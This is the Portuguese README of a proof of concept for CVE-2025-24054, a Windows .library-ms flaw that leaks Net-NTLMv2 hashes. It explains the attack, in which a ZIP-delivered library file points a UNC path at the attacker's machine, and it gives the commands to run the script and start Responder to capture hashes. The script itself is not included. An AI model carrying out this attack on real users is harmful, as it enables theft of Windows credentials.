CVE-2025-24054 Prova de Conceito

Uma simples Prova de Conceito para CVE-2025-24054 – Vulnerabilidade de Divulgação de Hash NTLM do Windows Library (.library-ms).

⚠️ Apenas para Uso Educacional e em Laboratório Autorizado

---

Descrição

CVE-2025-24054 permite que um atacante force um sistema Windows a vazar o hash Net-NTLMv2 da vítima usando um arquivo .library-ms especialmente criado.

Quando a vítima extrai um ZIP contendo o arquivo .library-ms malicioso, o Windows Explorer inicia automaticamente uma conexão SMB, vazando o hash NTLM.

Como Funciona

1. O atacante gera um arquivo .library-ms malicioso contendo um caminho UNC apontando para sua máquina.
2. O arquivo é entregue dentro de um arquivo ZIP.
3. A vítima extrai o arquivo ZIP.
4. O Windows Explorer tenta automaticamente carregar a biblioteca, acionando uma solicitação de autenticação NTLM.
5. O atacante captura o hash Net-NTLMv2 usando o Responder.

1. Uso

python poc.py -i YOUR-IP

2. Iniciar o Responder (Máquina do Atacante)

sudo responder -I eth0